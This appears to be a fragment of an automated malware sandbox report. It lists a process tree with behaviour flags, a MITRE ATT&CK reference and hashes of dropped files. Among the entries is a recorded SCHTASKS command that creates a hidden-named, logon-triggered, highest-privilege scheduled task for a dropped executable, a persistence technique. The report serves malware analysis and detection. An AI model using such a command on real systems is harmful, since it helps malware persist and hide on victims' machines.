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C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"3⤵
- Executes dropped EXE
PID:224
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77real.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\real.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4364
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3924
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2636
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2636 -s 8522⤵PID:2204
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4912
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3540
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3024
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:4624
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4644
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:4400
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:2748
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:2816
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2816 -s 8762⤵PID:4024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2432
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2284
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2284 -s 3322⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3328
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:5100
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5100 -s 4082⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:512
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
32KB
MD517436f9598e396215bcd5447286f96ed
SHA1aedcadfa4737c1f1a222ddf94b85264d72d47ae3
SHA256fccfcdd12369b6b1e7c45d3946c9646b3a2ea6644b3cf42f7a3b2c7236836f07
SHA5127fee08b2a69b981747aee449b3dda0d7461b233250bd886cf4bb8e9d7b8152e652f72a300c64a9ca68676dd2bf58cd7e99372dc519d1850937dc497a79037a7e
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Filesize
12KB
MD5f3e4d4be99f908d54f122c17ba5894fe
SHA159e25a5e622bbf661f992cd32842f9b4989432ec
SHA256b27f7cac9d700a9394e4be652dfd3d8ddf49ec7af0101a8fe2737e235e93e9a1
SHA512bbc6bc96aca3782af23163d9609eeca3e4cc07d1fc853740594b8c60719583ef5ce14a32f51e8227065507950a6c35a5d158e34f240b72268be31805cb418abf
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Filesize
32KB
MD56ddab5a905b71dae4123beec301b7301
SHA19c3f269bc9fb3cfa2f7ae9b246d292f593ea7d26
SHA2563efe15ac813d0784d832b44f36ac7540922ccebe1e2b0082afa7436735584140
SHA5123a4dc48a63cc2ab54977f0a89c4aef60ca76b5df390bbf96427f916d57bc7f280add212bda59c3adf29c377a51dd04bae53f0fb43c00bd8762671a23257d0f9a
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Filesize
12KB
MD50b449bd82e0079106f4b23f702445dd9
SHA12a120e1eb977863bb32a403d6cd2f3d4aa00efb4
SHA25641479a6fd4340899141821b63138e119aadbf91669842a469f261ee72b020724
SHA51275cdc6f0ea864dc626aacd4d228fdb1dac9a3cd2aefb4a911a09f0c129bc17ad87b6123cad1b6a92c333ba3cc0bc35b757aacb990cf5cf1b4622eeb8107e7c1f
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
409KB
MD516be7896ffd96f3c15ca40ff3243674f
SHA1321e82e120535d5f48430284804d5aca5f78d8c7
SHA256e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07
SHA5126dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD517ecf0e5b58b00fe1bf45ce0cef87d93
SHA10fa337612ab2169ef11bb4dc1a3d83a25552308f
SHA256b6cc0a977c1dea43ef8b83e1d0f8b348b6b31ca3fe7f35abe36d6d1099b960db
SHA512e8329f85cdac94f8bd58e850b8a41b4741c0fdf5a936e04c20e81a7e7dbf5ad00ee3e9a5fe17f77a1ee0fd9c797448338b4446ae15338235fc95bdb5cb9cb4dd